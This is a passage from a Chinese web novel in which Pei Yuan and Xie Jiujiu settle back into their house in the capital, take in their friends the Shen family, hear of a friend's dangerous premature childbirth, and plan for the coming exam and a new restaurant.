这样的选择随便扔出去一条给严府外的举人们,那就是做梦都不敢梦这么大的前程。现在拿来问裴元,裴元其实除了有点想笑,没有多余的感慨。 “学生做一切选择,只凭心意。心中愿意便没什么不可,心中不愿谁来强求也不成。况且学生是个自己给自己做主入了赘的人,比起学生来,二表哥不过入个锦衣卫,听着也不算过于离经叛道。” 这话说得,关如璋脸色青一阵白一阵,严学士一口气顶在心口上不去下不来差点没给自己憋死。只有关宁业忍不住噗嗤一声笑出来,连声笑道,自己这个表弟真是个妙人。 同样被裴元这话逗笑的还有谢九九,两人分别回到关家的时候都是傍晚了。吃过晚饭哄睡了阿满,照例又是坐在一起互相告诉对方今天又干了什么,见了什么人的时间。 “这真是巧了,章先生当初对你那般严厉,原来还是有内情。那大舅到底是不是想要严学士收你入门,这事有没有个准话。” “我回来的路上问了大舅舅,他摇头不让我多思此事。只说有没有他,我在岳州都要入府学,如今跟严学士的关系亦是早就注定的。” “也对,章先生是府学的教授,你又是必入府学读书的,不管怎么着你和章先生都注定要做这两年的师生。 有了这段因缘,你来京城不管之后春闱谁是你的座师,过后只要有心人把你们之间这一连串的关系透露出去一点儿,你身上入了严学士门下的烙印,就彻底瓷实了。” 裴元有正经拜了的授业恩师,他和崔鹤儒的关系是白纸黑字记在登科录上的,要是随随便便另投他门那便是背师。 这事裴元不会做也不想做,所以不管关如璋心里到底在盘算什么,都不可能完全如他的愿。授业恩师和拜入门下,这可是两码事。 “算了,不想这些了。”在京城待的时间越长,谢九九就越觉得自己和裴元都还是太老实了。 两人的心思和欲望浅薄得几乎都写在脸上,哪里像那些老爷太太们,一句话说出来是一个意思,听在第二个人耳朵里又是另外一个意思。等回过头再细琢磨,就会发现可能这俩意思都不对,其实还有别的意思。 “怪不得母亲之前非要到府里来住一段时间,不来又怎么能见这些世面,不见这些以后你考过了会试入了官场,懂与不懂之间的区别,那可就大了去了。” 多少寒门学子金榜题名之后,就渐渐成了朝廷官场上的芸芸众生,他们的妻眷会不会比自己更惶恐更无助。 有些事没见过想也想不到,只有见过了经历过了,即便还是不那么明白,可把这些事情默默记下时时琢磨,等自己再遇见事的时候,才不至于连吃亏都不知道是怎么吃的。 第92章 第92章咏絮之才 在关家过了一个年,正月初八不管庞氏再怎么留,裴元还 是带着谢九九回了城西的宅子。不是关家不好,而是裴元知道谢九九已经在关家待够了。 “哎呀,我又没说非要回来,你可不好什么事都赖在我身上。” 回到城西的小院,谢九九可算是松懈了精神,脱了氅衣扔了袖笼坐没个坐像地歪到罗汉床上躺着,看着裴元在屋里进进出出的收拾东西。 “感情这还成了我的错了,那要不在这边住两天就搬回去,反正停云斋都给咱们留在那儿了,你要说回去我娘肯定高兴。” “行啊,我住哪儿不是住。住在停云斋还省得我自己操心。那么多丫鬟的月钱也不用我给,我饭来张口衣来伸手的多舒服。只要你闺女肯回去,我没意见。” 过完年阿满就算是四岁的小姑娘了,过年期间裴元打着温习功课的由头基本没再跟着关如璋和关如琅见客、出门。 躲在停云斋里,除了每天一篇四书义一篇五经义,之外并不会再翻书温习。一天里有大半天不是窝在暖阁里跟谢九九缠磨厮混,便是把阿满抱到书房里,亲自给女儿开蒙。 阿满毕竟是孩子,是孩子天性就爱玩儿。本来整天胡吃闷睡醒了就玩儿,玩累了就睡的小孩儿,突然被她爹压着认字,简直是天都要塌了。 一个天地人日月星,翻来覆去的读,一横一竖一撇一捺,肉嘟嘟的手捉着笔来回来去不断地重复,阿满很快就从兴致勃勃变得厌烦起来。 再聪明的孩子也只是个孩子,不能指望她跟大人一样坐得住耐得下寂寞。 小姑娘偏还不讲理,总觉得在家的时候她爹没让她读书,来京城的路上也没让她认字儿,就是住在停云斋里头她爹才开始不让她出去玩儿的。 所以阿满坚定又固执地觉得自己现在每天都要认字写字跟住在停云斋有关系,只要从停云斋搬出来就好了。 知道今日要回家,阿满专门起了个大早。 回到家里之后挨个把潘掌柜谢有粮等人都抱了一遍,再把在关家的时候就已经准备好的东西当做礼物,给家里众人挨个送了一遍。 对阿满来说,从容县的家里到京城是出远门,从城西的宅子去关家住了这么久也是出远门。小家伙觉得自己在外面住了这么久,回了家肯定不能空着手。 把礼物分发完,阿满就心满意足回自己房里玩娃娃去了。 娃娃是金氏前几天专门差人送到停云斋的,官窑烧制的一整套瓷娃娃,有大有小活灵活现,阿满这几天心心念念的就是这一套娃娃。 “你今天没空盯着她练字读书,她越发觉得只要回来了就不用写字。”现在跟她说住回去,阿满真能把天都给裴元翻了。 “罢罢罢,快别说这个。阿满今儿躲个懒我也跟着松快一日。真要天天跟着妮子较劲儿,我这日子也要过不成了。” 之前在关府见过关如琅怎么跟关继业为了读书进学的事儿死磕,对此裴元的态度一直都是站着说话不腰疼。 一来他觉得读书这事不能强求,关如琅当初在容县跟谢文济说读书也得随缘的时候那般洒脱,怎么轮到自己儿子的时候也想不通了。 二来他一直觉得自家姑娘是天下第一聪明的孩子,关如琅这份发愁自己肯定是不能感同身受了。 谁知自家的聪明阿满,一到了读书写字的时候就像是换了一个崽儿。聪明还是聪明,不管认什么字都快,跟着自己读过两遍基本都能记住。 教她写字,横平竖直很快就能照着自己写的字来描红。写得虽不怎么好看,但确实是那个字。刚启蒙的第一天裴元见女儿聪慧成这样,那叫一个高兴啊。 当天晚上专门让珍珠去厨房里要了个鱼头炖豆腐的锅子和一壶温酒来,一口鱼肉一口酒地跟谢九九吹嘘,自家的闺女多么聪明多么有天赋,往后必定是咏絮之才,不让须眉。 说完又跟谢九九絮叨了半晚上的谢道韫,听得谢九九哈欠连天,最后接了一句‘那挺好啊,你看人家姓谢阿满也姓谢,这不就是冥冥之中的缘分’,把裴元哄得浑身骨头都轻了三两。 谁知阿满这丫头什么都好,就是没个耐心。坐在书桌前好似椅子上长了刺,安定不下一刻钟就要开始动来动去扭来扭去。 小孩儿年纪小主意却大,在她看来爹爹教过她的字她一看就会了,会读也会写,第二天再问自己也没忘了就行了,干嘛还一遍两遍地写。 字非要写得那么好看做什么,能认得出来不就行了!阿满说这话的时候恰逢关继业也在,身为小舅舅的关继业在一旁听得连连点头,定不下心读书的舅甥俩,可算是找着知音了。 许是妻子的话让裴元又想起了这段时间在阿满身上经历的挫败,连连摆手也不敢再故意拿住回关家的事情来逗谢九九,只让她赶紧想想晚上吃什么。 今天第一天回来就不让厨房在家里做了,去临着两条街的胡同口的山东菜馆叫上两桌菜,当是跟家里人补一个过年的席面。 不过还没等谢九九想好吃什么,院子里就传来曹勇有些急匆匆的脚步声。 “大爷、大娘子,快出来看看谁来了!” “谁啊,不是说了好多回别着急别着急,咱们现在可不是在家里……” 城西这个宅子的位置离国子监、贡院都不远,内城城西又有几个规模不小的寺庙,时间一长住在内城西边的便以读书人和五品以下的官员为主。 这宅子的规模建制摆在这儿,同一条胡同里的街坊四邻家中大小格局也都差不多。 除了裴元和谢九九这种来路特殊些的,能买或能租得起这地界宅子的人家,要么是家境好的读书人,要么是已经有了功名的官宦人家。 谢九九在这里住的时间不长,但是刚搬进来那两天她就仔细观察过了。 自己的新邻居们都很谨慎小心,即便有两家有想法跟自己认识往来,也只是派家中奴仆送了张帖子上门。 话也说得十分客气,说是自家刚安顿下来,就不冒昧上门打扰了。等贵府安置妥当踏踏实实过完年,春暖花开的时节,大家伙再找个好天气一起聚一聚。 第93章 第93章92章下半段(粘贴的时…… 瞧瞧这话说得多好,想跟你家来往认识又怕耽误了你们家的事。都还不怎么认识,过年这个档口就不裹乱了,别还不怎么熟就你来我往的送了人情。 等到来年春暖花开时,裴元这个举人老爷是金榜题名蟾宫折桂,还是继续再当三年的举人老爷也能有个结果。 到时候您家是个什么门楣什么身份,来往交际该拿捏个什么度,大家伙心里都有个数,该送什么东西该怎么往来称呼,都不叫人为难。 这种地方住着,可不像以前家门口的巷子里,搬来一户新人家,你提一块腊肉我裁剪一块布头,上门打个招呼就算认识了的。 “大娘子,一高兴就忘了。”曹勇抬手在自己后脑勺上呼噜了两把,“是沈相公和于娘子来了,还带着家中的哥儿姐儿呢。” “哟,可算来了!快、快些把人请进来。我就说之前明明跟沈霁说得好好的,等到了京城就要第一时间联系上,怎么会来了就找不着人了!” 一听是沈霁和于氏来了,谢九九趿拉上绣鞋就往外走,一边走一边嘀咕也不知道这抱怨是说给谁听,也不说要小点儿声要端着劲儿了。 走到在后院垂花门处,谢九九亲眼瞧见于氏,顾不得沈霁还在一旁,抬手就把人沈相公扒拉开一把抱住于氏,“姐姐如何也来了,你来了就好,你不来我连个能说话的人都没有。” 于氏依旧温柔娴静,被谢九九抱着胳膊往暖阁里走,照样还是笑盈盈的。 沈凤岐和沈清蘅则被听见动静出来的阿满拉着往她房里去,小东西说的话跟她娘说的一个意思,清姐姐来了她就有说话的人了。 全然不记得今早从关府回来时,还拉着关继业的手一再叮嘱她小舅舅,有空来家里找自己玩儿。 只剩落在最后面的沈霁转头看看裴元,裴元扬起下巴往书房那边指了指,娘俩一看就是有私房话要说,就别凑上去惹人的的嫌了,去书房凑合凑合得了。 暖阁里火炕烧得正旺,于氏进屋之后斗篷和夹棉的比甲就穿不住了。 谢九九自己动手接了于氏脱下来的斗篷挂好,又新倒了干桂圆红枣茶来,等于氏从外边冷飕飕的劲儿中缓过来,谢九九才问起她这一路的事。 “之前在潭州,我还问过沈霁来京城赶考会不会把姐姐和两个孩子带上,他当时说是你不放心家里不肯跟着来,怎么这又想通了?” “有件事,得跟你说。可你得答应我听了别难过。” “不是,你先说什么事,真要是难过的事我也控制不住啊。” 谢九九一看于氏那凝重的脸色心就提起来了,家里年前和年后都送了信来,谢文济每次都要把家里和云客来的事事无巨细都说给自己听。只要这小子没骗人,家里应该不能出了大事。 于氏一直在岳州,自己跟她关系好,但 两人的关系之外若是还有什么能牵扯认识的人,谢九九只能想到黄金珠。 谢九九想问是不是黄金珠出了什么事,却又欲言又止。深深吸了两口气,把因为情绪紧张引起的隐约腹痛给强压下去,“于姐姐你说吧,到底什么事啊。” “去年十月初的时候,黄娘子生了。” 去年六月,谢九九见黄金珠的时候黄金珠的孕肚已经显怀了,当时谢九九问她几个月,她说的是马上四个月了,这么一算十月初生孩子,那可是没足月啊。 “八个月就生了,是不是她家又闹什么幺蛾子了。” 罗永这几年一直在青松书院读书,沈霁跟他的关系不近,但这种事情他要打听一定能打听得到,要不然于氏也不能知道黄金珠的事。 “她家那个张姨娘是个不讲理的,听说生了儿子之后就更是蛮横。黄金珠平日里镇得住她倒还好,只是她那一胎听说是怀得不好,等月份一大精力就越发不济。” 本来张氏一个没读过书甚至连字都不认识的女人,觉得自己生了儿子就能仗势并不出奇。再说她一直都在容县家里,黄金珠则跟着罗永在岳州,两边隔着这么远的距离,想闹也闹不起来。 可随着黄金珠月份越来越大,罗永就以她精力不济管不了家中诸事做借口,把张氏给接了来。两人本就不睦,一个屋檐下住着怎么可能相安无事。 “究竟发生了什么,罗家不说外人也不知道具体的,总之就是黄金珠被那张氏气得早产。她在产房里难产,外边罗永和那张氏没良心,一个劲的拉着稳婆说不保大的保小的。” 或许是到那一刻黄金珠才恍然大悟自己到底干了什么,原本因为这一胎怀得艰难瘦得只剩一把骨的女子,也不知道哪里生出来的一股劲儿。 死死攥住接生婆的手,让她必须大小都保下来,要是实在没法子那就保大不保小。 要是听了外面罗家的话保了小的,除非把这产房里她的丫鬟奶娘全都打死,但凡还留了一个活口,她就要自己的陪嫁把这事传回黄家,告诉黄家自己想活不想死,是罗永和张氏害死的自己。 张氏不过一个村妇,罗永也不是个有大出息的,隔着一道门听着黄金珠嘶声力竭的嚎叫,一时之间也都不敢做声了。 “最后孩子生下来,黄金珠的命也保住了,只是两人的日子是彻底过不下去了。 她身边的丫鬟连夜回黄家把这事给说了,她弟弟黄金宝带着家里的家丁和护院来了府城,连月子都没坐就把他姐和黄金宝生的那小闺女给接回去了。” “事情当时闹得挺大,她被黄金宝接回家那天,我让沈霁带我一起去送了送。看着她那张蜡黄瘦削的脸,我就觉着人这辈子怎么就这么难,这么脆弱。” 于氏见了黄金珠忍不住心中感慨,一是觉得人世无常她不能委屈了自己,二也是觉得人心难测,自己不能真把沈霁大撒手,让他一个人来京城。 “这不我就跟来了,我也知道便是我跟来了,这男人要变心还是会变心。可我自己不像傻子一样守在家里带着孩子眼巴巴的等着,我心里就舒服了。” 第94章 第94章有命在,什么都有可能。…… 谢九九怔怔地看向于氏,良久没说话。她心头翻滚的情绪如同熔浆灼烧,心里有千头万绪的话要问,可话到了嘴边又觉得说什么都是无用。 她甚至有些想象不到,当年那个黄家金铺骄傲得跟个小孔雀一样的黄金珠,该经历了多少磋磨苦难才能变成于氏嘴里蜡黄枯瘦,眼眸深陷连说话都费劲儿的妇人。 “别哭了,我去送她的时候她认出我来了。还拉着我的手让我给你带句话,你快别哭了我才好把话说与你听。” “我没哭,我哭什么啊。” 谢九九想说我才不哭,当年不管是黄金珠成亲前还是成亲之后,自己跟她不晓得叮嘱过多少回,这世上再没有什么东西比自己的命更重要。 有命在,什么都有可能。没命在,万事皆休。 吃的穿的、好日子前程、一花一木斗转星移,都得活着才能吃着看着。十几二十年前,容县的临泽楼就不如现在的大,这都是后来找了能工巧匠又扩了一遍,才有如今的气派。 又比如潭州的八方楼和京城的关家与杨府,若不是亲眼所见,谢九九都想不出来北地没临着大河大户的地界,怎么能在自己家里引活水修出那么大个人工湖来。 还有那日冰嬉,女主子们坐在冰床上玩过之后,又有家中少爷们带着家丁护院组了队伍,穿上冰刀上湖面打冰球。 北方人身胚子是比南方人壮,好几个五大三粗的汉子撞在一起,谢九九隔得老远都能听到骨肉闷闷碰在一起的声音,看着唬人得很。 这些东西说起来不算什么,可谢九九就想要经历经历,吃过看过见识过,才不枉费来人间走这一趟。 “都只活这几十年,我们女人不能封官拜相也就罢了,如何连命都这般不值钱,凭什么呢。” “你别生气了,黄娘子知道你的心思。” 谢九九这话若放在以前,于氏顶多认同一半。循规蹈矩读着女戒女则长大的于氏,虽觉得谢九九话说得有道理,但在她心里操持家务,伺候公婆教养孩子,还是更重要些。 甚至对于女子生产一事,若是丈夫夫家对自己好,孩子总归是比自己更重要些。 可如今亲眼看见黄金珠那个样子了,再加上这一路从岳州到京城,哪怕赶路赶得头昏脑涨水土不服,却也还是见过了许多以前从不曾见过的,吃过了自出生起就从来没吃过的。 还有这鹅毛大雪千里冰封,不亲自到这北地走一趟,光看书里写的又如何能想象得出来。 于氏还记得路上她和沈霁遇着一场雪,被迫在驿站停了两天。 那两天自己在驿站里也不着急,看着洋洋洒洒一片一片似浮毛的大雪,她这才明白‘燕山雪花大如席,片片吹落轩辕台’是个什么景象。 自己在岳州也见过雪,但顶多也只是像盐粒那样,要凑近了使劲儿看,才能看出来小小一朵雪花晶莹剔透。 “她说她没力气也没时间给你写信,说你不要怪她这几年不听劝,还要次一次拿罗永的事让你为难,她就是知晓你舍不得她吃苦,才每次都应下来的。” “她脑子有病吧,这千里迢迢的就让你给我带这话,难不成就没一句好话说给我听听。” 黄金珠扯着自己给她做大旗这还要她来表白?自己又不是个傻子还能不知道。做朋友嘛就是这样的,她好的时候自己喜欢,她不好的时候自己不喜欢,可不喜欢难道还能真不管了? “有好话有好话,这不是还没说到嘛。” 于氏起身绕过炕几坐到谢九九身边,拿出帕子给她把哭得乱七八糟的眼泪给擦了,“她还说这次没死,以后也不会死了。” “还说京城好,你来了就别回去。等她把身子养好孩子养好,到时候也到京城来找咱们。” “真的?” 谢九九一听这话,刚刚还哭得一抽一抽,扭脸就乐了。“她早该来,于姐姐你知不知道咱们那儿好些时兴的布料和花纹样式,都是京城 已经过时了的。” “我带来的好些衣裳首饰好多都要重新改,等过完十五咱们一起去铺子里逛一逛,别到时候你家沈相公都中了进士了,咱们于娘子戴的首饰却见不得人,那如何能行。” 黄金珠能说出这样的话,谢九九就知道她的心气儿已经回来了。往后不管她是不是真的会来京城,这日子她肯定能过得下去。 山长路远,至亲好友都难免有相隔千里数年不能见的时候。经历了分家赴京的谢九九,对这些事已经很难再悲春伤秋的难过了。 而另一边阿满的屋子里,三个孩子则还不知道难过发愁是什么东西。 “清姐姐,你看这个。” 阿满把自己早就偷偷放好的匣子打开,里面的东西很杂。有漆盒装的胭脂,有仿生的绢花,还有一扎颜色鲜艳又正的头绳,和一块阿满一只手就能攥紧的小小玉牌。 “都是我给姐姐留下来的,这个是路上买的,其余的都是我去舅爷家里做客,他们送了我,我觉得这些东西姐姐也会喜欢,留给姐姐的。” 谢九九告诉过女儿,想阿奶舅舅和小姨他们了,就可以给他们写信。还说了从京城到岳州到容县送一封信要多少钱。 最快的找专门南来北往的信使,一封信三百文,捎带的东西多一点儿都得加钱。慢一些的,一封信二百文,还能捎带一个重量大小都有限制的小包袱。 最慢的,也是风险最大的,便是把信托给去岳州的商队。因为是顺路捎带,所以价格一般最贵也就一百文了。 但行商在路上耽误的时间也最长,人家一路往南说不定就在哪个府城停留下来,一停就是十几二十天。等信真正送到地方,往往都是几个月以后的事了。 “我没那么多铜板,又不想清姐姐那么久才收到东西,就把这些都攒下来,等攒到够信使说的那个小包袱那么多了,再一起寄给你。” “现在好了,清姐姐你来了咱们给信使的钱就省下了,等过两日咱们拿这个钱出去买泥人儿吧,京城的泥人比家里的好,看着跟真的一样。” 才四岁的小丫头片子就已经知道怎么样最划算了,听得沈清蘅一愣一愣的。 “你待我的心我当然知道,怎么会怪你没给我写信。”沈清蘅认真小心地把匣子收下,又从荷包里掏出几朵干花,“我们跟着爹娘赶路太急了,没地方买东西。” “这是我从家里出发前摘的花朵儿,一路上倒挂在马车和船上,烂了一些掉了一些,还剩下这些一半给了哥哥,我荷包里的这一半你我分了可好。” “好好好,家里的花比京城的好看。我在舅爷家看了好多花,都不如家里的好。” 小孩子还不知道什么叫做乡愁,他们跟在父母身边也并不觉得想家。 可还是免不了把‘家里的’挂在嘴边,好像什么东西都要拿来跟家里的比一比,反正在阿满的心里大多数东西还是家里的更好。 “你这阿满,我和妹妹来了这么久,怎么就只看见你给妹妹的东西。我呢,就一点儿没想起我啊。” “大哥,你别只问我给你准备了什么,你先说说你给我准备了什么。” 对于沈凤岐和沈清蘅阿满分得特别清楚,沈清蘅什么时候都要排在沈凤岐前面。 因为之前在府城的时候,每次跟着沈凤岐去玩儿,他玩高兴了就蹭蹭蹭跟着别的男娃子跑没影了,只剩个书童老老实实留在谢阿满身边看着。 沈清蘅则不一样,阿满知道自己爱玩爱闹,玩起来吵吵嚷嚷的一条巷子里的婶子大娘们想安静睡个午觉都睡不成。 也知道沈清蘅喜静,整日里安安静静的拿个顽器或是一本字帖,就能自己跟自己玩一下午。 但即便如此,每次阿满去找她,她都耐心陪着从不觉得厌烦。这么一比较,那阿满更偏心谁傻子也该知道了。 “我就知道你要这么问,瞧瞧这是什么。” 沈凤岐从袖兜里掏出个小葫芦来,本来安安静静的小葫芦,等沈凤岐摆到炕桌上,便开始发出清脆悦耳的蝈鸣声。 “哎呀!是冬蝈蝈!”阿满一见这个乐得差点原地蹦起来,当即就恨不得往沈凤岐身上猴儿,却被沈凤岐退一步躲开,让阿满去抱沈清蘅。 沈凤岐今年十岁了,十岁的男孩儿已经不大像个孩子,而是个小小少年了。以前再皮读书之后也知礼懂事,七岁不同席,自家跟谢姨和裴叔父的关系虽亲近,但自己却不能仗着这份亲近没个规矩了。 阿满压根没注意到那些,只撅着屁股趴在炕桌上看蝈蝈。 倒是沈清蘅把哥哥这个动作记下来,打算过后要跟爹爹说,自家这个哥哥真的又比之前懂事了些。但又偷偷藏了蝈蝈,也不知道怎么一路带过来的! 孩子们或闹或静,但都在慢慢长大。蝈蝈的叫声不大但清脆,连书房里的裴元和沈霁都能听见。 沈霁当然知道儿子偷藏了蝈蝈,但孩子嘛总有些戒不掉的喜好,这也不让那也不让,那不是养孩子而是养傻子。 而裴元问过沈霁,知道他是年前就到了京城还一直带着妻儿住在客栈里,就没功夫管孩子在干嘛了。 “你既知道我在关家,当时就该递帖子上门。你与我什么关系,你去关家找我,难道不该拜见府里长辈?什么时候该清高什么时候得放心身段,我以为这事用不着我来教你。” “你看你,我才来你就啰嗦我这些。谁说我没有四处活动的,出发前我去了一趟书院,山长和老师给了我一份名单,都是山长早年间在京城认识的同年和同门。” “还有知府大人那边,过年前几天我去了一趟承恩寺,送了些年礼过去。” 从外地进京述职的官员,住宿大多不会选择客栈和同乡会馆。太祖皇帝开国时就明令禁止过官员朋党,来京城述职大计的官员就更要防止旁人弹劾自己有结党嫌疑,引起非议。 而寺庙环境清幽,住宿舒适。从本朝开国之初到现在,寺庙留宿这些官员和赶考的举子已经成了习惯,很多寺庙和道观都有专门的客院客房,配置十分齐全。 “我也送了,我还替你送了一份。左大人难道就不曾跟你说过这事?” 裴元没好气地冲沈霁翻了个白眼,“我让曹勇给岳州会馆的掌柜留了话,要是你去就一定给你带个话。你倒好非不去,在客栈里过了个年,沈家公子什么时候受过这种委屈了。” “怎么没说,先说了你替我送年礼的事情,后头就一直在说他去关府见你两个舅舅的事。” 沈霁确实不是故意不去,而是看着连左大人这么事故圆滑之人,都把握不住分寸去关府拜见,他就多少害怕自己去了,反而让裴元作难。 难不成让他两个舅舅觉得裴元身边的亲友都是些趋炎附势,恨不得借着裴元攀高枝的人?沈霁思及此处又摇摇头,“你我之间的关系,知道你回来我这不就来了,再莫啰嗦我了!” “行行行,这事上我是说不过你的。且不说你来得晚了还有个理由,老白呢?” 白秀才去年是跟着裴元一起回县城的,但是在家里没待两天他就带着妻子回他妻子的娘家去了。 一来是因为他妻子说想要回家看看,二来那些年供养白秀才读书的影子,起码有一大半都是他岳家给的。现在女婿终于考中了举人,说什么都应该带着妻儿回去一趟。 走之前裴元也跟他说定了,等到了京城就先去岳州会馆,不管住在哪里都留下个口信。 人离乡贱这个道理古往今来莫不如是,他们仨作为同年的举人,来了京城不说拧成一股绳,但也该多些联络往来才是。 可本以为处理了谢家事,肯定是出发最晚的裴元,来了京城以后竟是沈霁等不到白秀才也等不到,弄得他都忍不住心中嘀咕,别不是路上出什么意外了吧。 “老白他妻子又病了,听说病得不好。连从娘家回自己家里都不敢挪动不敢见风,他也只能带着妻儿暂且住在他妻子娘家。” 白鹤川,多少年的老秀才好不容易考中了举人。人人都觉得今年春闱便是天塌了他都一定会赴考,可人家偏偏选了另一条路。 “他说今年的春闱他就不考了,以后考不考是以后的事,眼下他得先顾着家里人。所以,他今年不会来了。” 第95章 第95章过江龙vs地头蛇…… 知道白秀才不考了的事,让晚上 席面上的几人的兴致都没有那么高兴。 会试跟童子试乡试不一样,童子试一年一次,只要你家里出得起考试的银子,就能年年去考。 只要先过了县试,后面的府试院试可能性就很大了,到时候再启程去府城省城心中也有底气些。 乡试流程复杂路程又远,花费的银钱更多。 最主要的乡试入贡院比童子试的时间更长跟艰苦,秀才们得从全省各地奔赴省城,到了以后要花钱在客栈、寺院住下等着考试。 考试期间就缩在那么小小一间号房里,别管外面是秋燥难忍还是秋风瑟瑟,碰上什么天气也得熬着,只要不死就怎么都得熬着。 乡试这么难,会试就比乡试更难。 裴元拖家带口从容县到京城,来了以后为什么会愿意听从关令仪的话,先是一家子都搬进城西这个宅子住下,之后又去关家过了个年。 什么见世面啊、跟着舅舅们去拜谒大儒长辈、什么提前跟关家的亲戚走动起来,方便日后自己入仕和九九做生意,这都是理由,但又都不算是最主要的理由。 最主要的理由只有一个,那就是这一路来京城全家人都太累了。 从水路换陆路,船上飘了一个多月又换成坐在马车里一路颠簸,天气还越来越冷,冷得大头的老婆路上一个劲的揪大头,怪他不该跟这一路过来。 来了以后,城西这边有关家给的两房奴仆,过年裴元和谢九九不在,厨房里的粮油米面各种鲜肉腊肉菜蔬都堆满了。 潘掌柜、谢有粮和大头一家,每天吃了睡睡了吃,实在闲了出门溜达一圈,还不怎么适应京城的冷,往往是周边转一圈就回来,也不想去远地方。 就这么什么都不干的养着,一家子从上到下除了阿满,直到过完年才真正缓过来。裴元之前都跟谢九九说,去严学士府上那天写的文章,充其量也就算是能看,跟出彩没半毛钱关系。 这一切的一切,归根究底都是长途跋涉水土不服。 人累得狠了之后,不是说提起劲儿来就能提得起来的,就得过这么一段什么都不干什么都不想的日子,让身体恢复过来力气精力才能跟着慢慢恢复过来。 白秀才去年刚经历过乡试,对贡院考场和号舍的日子还有本能的适应,要是不一鼓作气来赶考,再等上三年,不确定的因素就太多了。 读书一事向来是不进则退,他得再苦读三年不泄气,每天都要写文章研究如何破题怎么入手,要是稍微懒惰一点儿,三两个月不拿书连下笔从何而起恐怕都得恍惚一阵。 还有他的年纪,白秀才已经过了四十了,四十不惑五十知天命,到了知天命的年纪,大多数男子出门手上都要执杖了。 再过几年小娃子们见了得喊他一声大伯老丈,谁能保证他这三年身子骨康健,谁又能保证他三年之后还能受得了会试入贡院这三场考试。 京城的二月到底有多冷,只有真正到了京城的举人们才知道。南边的考生进京以后还没进考场就病了的多的是,一病不起甚至命都没了的也不是没有。 白鹤川今年不来,三年后是个什么光景,叹一句前途渺茫只能尽人事听天命并不为过。 也正会试艰难且要紧再要紧,酒酣饭饱之后裴元便顺势按住了沈霁的手,以防这小子再跑了。 “我让曹勇高义和关杰跟你回去一趟,把客栈里的东西收拾收拾,今晚上就搬过来。” “不用,我找的那个客栈还算清净,再说住了这么久都习惯了。” 沈霁就怕裴元会要留自己住在家里,前院本来就已经住了潘掌柜他们,自己还带着书童丫鬟和两个仆从,要是再搬过来像什么话。 “习惯什么习惯,我还不知道你。清净是因为刚过完年,等再过几天试试,那些个举人们能吵得你晚上睡不着。” 裴元小脸一绷,不管沈霁还要推辞抬手指向沈凤岐,“小子,愿不愿意来你谢姨家住。” “裴叔父,我娘都跟谢姨商量好了,今晚上她俩一个屋睡,让您跟我爹睡书房。” 沈凤岐当然愿意留下来,客栈有什么好的,客房收拾得再舒服也没个自由。偷溜出去玩儿,也不像家里出了门就都是相熟的玩伴。 再说客栈里人多眼杂便是能出去,沈凤岐也不愿意出去。沈霁总要出门跟别的举人往来交际,客栈里就只有母亲和妹妹,沈凤岐得守着她们。 裴元一听他这话就乐了,再不管沈霁还要啰嗦什么太麻烦了,就起身让关杰和高义去套马车,又转身嘱咐大头晚上准备些老家的菜色当宵夜。 夫妻之间嘛,偶尔分开睡一夜也不是什么特别难过的事情。书房里什么都有,裴元搓搓手已经开始琢磨晚上应该准备一坛还是两坛子酒了。 老友相聚最是欢喜,这一夜后院正屋和厢房的灯都亮到了半夜才熄灭,第二天谢九九便张罗着把西厢给沈霁一家子给腾出来了。 阿满和沈清蘅搬到东厢的书房里住,除了春儿陪着还有沈清蘅的奶娘一起住。 书房挪到前院空着的正屋,西厢留给沈霁和于氏夫妻二人,沈凤岐因着年纪半大不大了占了个便宜,他自己一个人住西厢的左边次间。 两家以前就一起在鹿鸣村的老房子里一起生活过,现在又住到一起,没人觉得有什么不合适的,包括潘掌柜谢有粮他们也觉得这样挺好。 裴元把书房搬到前院正屋之后,他们有空没空也乐意去书房溜达两圈。之前书房在后院,东家一家人又住在关府,他们有时候想去书房借本书,也不好直接往后院去。 现在书房搬到前院,谢有粮是去得最多的。当账房不识字不行,当年谢九九给他找的老账房除了教他记账也教他识字念书,时间长了谢有粮也有了看书的习惯。 对此最高兴的是沈霁,当年在鹿鸣村当教书先生的时候他还教过谢有粮。这些年两人极少见面,但见了依旧一个是先生,一个是学生。 沈霁给他找了好些书出来,一册一册拿给他看。看完一册需到他到自己跟前回课,说清楚都从书里看明白了什么,才能换新的一本。 两家人现在一起住在后院,虽挤了些却也热闹。 等过完大年十五出了年,于氏一再坚持要给谢九九银子当做伙食费,谢九九则说什么都不肯收。 实在犟不过了,谢九九干脆把阿满往于氏怀里一塞,“谁说于姐姐住进来就是占了我的便宜,你能帮我看着这活祖宗,我就谢天谢地了。” 沈家要在京城置办宅子不难,难就难在眼下什么都定不下来。总要等沈霁考完,考中了进士又确定要留在京城为官,才好挑选宅院。 到那时来京城赴考的举人该离京的离京,该赴任的赴任,人少了房价也能便宜些。要知道沈霁来京城住在客栈没租个小院子,就是因为赶考的人太多他又到得晚,实在舍不得花那冤枉银子了。 “怎么今天又要出门?中午还回不回来吃饭啊。”于氏把肉嘟嘟的阿满抱起来,“裴相公一早就带着老沈出门去了,我问老沈什么时候回来,他自己都稀里糊涂的。” “二月初九的会试,现在都快正月二十了。沈相公那人实在不会钻营,裴元在此一道上多少比他要强些,你就放心吧,保证不能把你家沈相公给卖了。” “我这边再不干活儿也不行了,从年前歇到现在,潘掌柜他们每月的月钱我可是照发着的,再不想办法给他们找地方干活儿,我这家底可真要被掏空了。” 来京城住的地方是关令仪给的,省下来银子却一点都没留下来。 十月初从容县出发,潘掌柜几人的月钱还是按着在云客来干活的时候发的,甚至因为吃住都在一起,花出去的银子比以前还要多更多。 这笔银子省不下来,谢九九从未想过在这个上面抱怨。 但来了京城这些日子,不管是在关家,还是抽空出门在京城街面上走动观察,亦或是跟 着关令仪或是杨氏冯氏出门,见到的听到的都让谢九九越来越明白,自己眼下想要开饭馆不现实。 不是租铺子的银子不够,也不是怕有地头蛇搅局。而是京城太大了,大得谢九九摸不准在这种地方开饭馆,该准备多少本钱。 该做哪样的菜色,该怎么定价该怎么建立自己的人脉来进货,鸡鸭鱼肉菜蔬瓜果,米面粮油什么多什么少,在京城的岳州人到底有多少,菜的口味该怎么定。 一桩桩一件件全是事,不想则以一想谢九九愁得简直睡不着觉。 前几日找来潘掌柜几人商量,没想到这一次他们比谢九九要适应得更快,几人早就在私底下商量过,都是在饭馆里干活干老的人,谢九九发现的问题他们也能发现。 不能贸然开饭馆,人也不能一直这么闲下去。当初跟着谢九九这个东家出来,三家都是跟谢九九签了契书的。 新的饭馆开起来,谢有粮和大头各自在饭馆里占一股,潘掌柜占两股。新的饭馆开起来之前,谢九九这个东家要一直给三人发工钱。 